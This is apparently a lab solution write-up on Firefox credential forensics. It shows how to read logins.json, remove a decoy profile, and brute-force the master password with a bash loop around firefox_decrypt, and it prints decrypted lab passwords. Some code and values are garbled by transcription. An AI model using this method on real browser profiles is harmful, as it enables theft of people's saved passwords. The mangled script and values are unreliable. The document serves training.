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Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic.

Logins and Passwords

Question 1: What is the encrypted username for aliexpress.com?

Answer:

MDIEEPgAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECIBTJSVn65xZBAgEPe0Xx07M Eg== Solution:

The details are present in login.json

To print the JSON in human friendly format. We can use python.

Command: cat logins.json | python -mjson.tool

```
120 Te0 150
```

Question 2: User has changes his password for one of the websites. Which website is that?

Answer: Github

Solution:

The details are present in login.json

To print the JSON in human friendly format. We can use python.

Command: cat logins.json | python -mjson.tool

We can observe that the timeCreated and timePasswordChanged values are different for the Github entry.



Question 3: After how many hours the password was changed (in continuation to the above question)?

Answer: 24

Solution:

We have to calculate the time difference between timePasswordChanged and timeCreated.

1539820282060 - 1539733882060 = 86400000

These are milliseconds so by converting it into seconds, we will get 86400. If we convert that into hours, it will come to 24.

Question 4: When was the saved facebook password used by the user to login most recently (Answer in DD-MM-YY HH:MM:SS GMT)?

Answer: 16-10-18 23:52:35 GMT

Solution:

The details are present in login.json

To print the JSON in human friendly format. We can use python.

Command: cat logins.json | python -mjson.tool

We need to check timeLastUsed value of Facebook entry.

This value is in milliseconds, first we need to convert it into seconds and then we can convert it into date.

Command: date -d @1539733955

```
student@attackdefense:~/.mozilla/firefox/zevp8nk2.default$ date -d @1539733955
Tue Oct 16 23:52:35 UTC 2018
student@attackdefense:~/.mozilla/firefox/zevp8nk2.default$
```

Question 5: What is the master password used in Firefox?

Answer:. qwer1234

Solution:

First, we need to delete the dummy entry from .mozilla/firefox/profiles.ini

Original profiles.ini file:

```
student@attackdefense:~$ cat .mozilla/firefox/profiles.ini
[General]
StartWithLastProfile=1

[Profile0]
Name=default
IsRelative=1
Path=zevp8nk2.default
Default=1

[Profile1]
Name=default2
IsRelative=1
Path=aeestn32
Default=0
student@attackdefense:~$
```

After removing dummy entry:

```
student@attackdefense:~$ cat .mozilla/firefox/profiles.ini
[General]
StartWithLastProfile=1

[Profile0]
Name=default
IsRelative=1
Path=zevp8nk2.default
Default=1
student@attackdefense:~$
```

Then, we have to create a simple shell script brute.sh which can do bruteforcing using firefox_decrypt:

Code

#! /bin/bash

input=\$1

while IFS= read -r var

```
do
```

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done < "\$input"

echo "Trying :\$var"
echo "\$var" | python firefox_decrypt.py

Make this file executable i.e. chmod +x brute.sh

Now, we need to run this file, ./brute.sh 1000000-password-seclists.txt

```
Trying :diablo
2018-11-11 04:30:28,260 - ERROR - Master password is not correct
Trying :bulldog
2018-11-11 04:30:28,538 - ERROR - Master password is not correct
Trying :qwer1234

Website: chrome://FirefoxAccounts
Username: 'b5257831dd2a487a9a6844a56bfa8fda'
Password: '("version":1,"accountbata":{"kA":"7f487f8400098d657c159b2d81bdb32aecba1c65044d64087958602aab2c9794","kB":"4b9e00ebeba6332e0093a14c48
175abba65f4ca30d5ac30lb35f71d998a4bb87"}}'
Website: https://github.com
Username: 'strange_people86@kmail.xyz'
Password: 'password@github@strange99'

Website: https://www.facebook.com
Username: 'strange_people86@kmail.xyz'
Password: 'test@password@1234#'

Website: https://login.aliexpress.com
Username: 'HopheT'
Password: 'Password123321'
```

Question 6: The first entry in the password list, is for which account?

Answer: Firefox

Solution:

```
Trying :diablo
2018-11-11 04:30:28,260 - ERROR - Master password is not correct
Trying :bulldog
2018-11-11 04:30:28,538 - ERROR - Master password is not correct
Trying :qwer1234

Website: chrome://FirefoxAccounts
Username: 'b5257831dd2a487a9a6844a56bfa8fda'
Password: '["version":1,"accountData":{"kA":"7f487f8400098d657c159b2d81bdb32aecba1c65044d64087958602aab2c9794","kB":"4b9e00ebeba6332e0093a14c48
175abba65f4ca30d5ac301b35f71d998a4bb87"}}'
Website: https://github.com
Username: 'strange_people86@kmail.xyz'
Password: 'password@github@strange99'
Website: https://www.facebook.com
Username: 'strange_people86@kmail.xyz'
Password: 'test@password@1234#'
Website: https://login.aliexpress.com
Username: 'HopheT'
Password: 'Password123321'
```

Question 7: What email ID is used by the user on Github?

Answer: strange_people86@kmail.xyz

Solution:

```
Trying :diablo
2018-11-11 04:30:28,260 - ERROR - Master password is not correct
Trying :bulldog
2018-11-11 04:30:28,538 - ERROR - Master password is not correct
Trying :qwer1234

Website: chrome://FirefoxAccounts
Username: 'b5257831dd2a487a9a6844a56bfa8fda'
Password: '{"version":1,"accountData":{"kA":"7f487f8400098d657c159b2d81bdb32aecba1c65044d64087958602aab2c9794","kB":"4b9e00ebeba6332e0093a14c48
175abba65f4ca30d5ac301b35f71d998a4bb87"}}'

Website: https://github.com
Username: 'strange_people86@kmail.xyz'
Password: 'password@github@strange99'

Website: https://www.facebook.com
Username: 'strange_people86@kmail.xyz'
Password: 'test@password@1234#'

Website: https://login.aliexpress.com
Username: 'thopheT'
Password: 'Password1:33321'
```

Question 8. What is the Facebook account password of the target user?

Answer: test@password@1234#

Solution:

```
Trying :diablo
2018-11-11 04:30:28,260 - ERROR - Master password is not correct
Trying :bulldog
2018-11-11 04:30:28,538 - ERROR - Master password is not correct
Trying :qwer1234
Website: chrome://FirefoxAccounts
Username: 'b5257831dd2a487a9a6844a56bfa8fda'
Password: '{"version":1,"accountData":{"kA":"7f487f8400098d657c159b2d81bdb32aecba1c65044d64087958602aab2c9794","kB":"4b9e00ebeba6332e0093a14c48
175abba65f4ca30d5ac301b35f71d998a4bb87"}}'
Website: https://github.com
Username: 'strange_people86@kmail.xyz'
Password: 'password@github@strange99'
Website: https://www.facebook.com
Username: 'strange_people86@kmail.xyz'
Password: 'test@password@1234#'
Website: https://login.aliexpress.com
Username: 'HopheT'
Password: 'Password123321'
```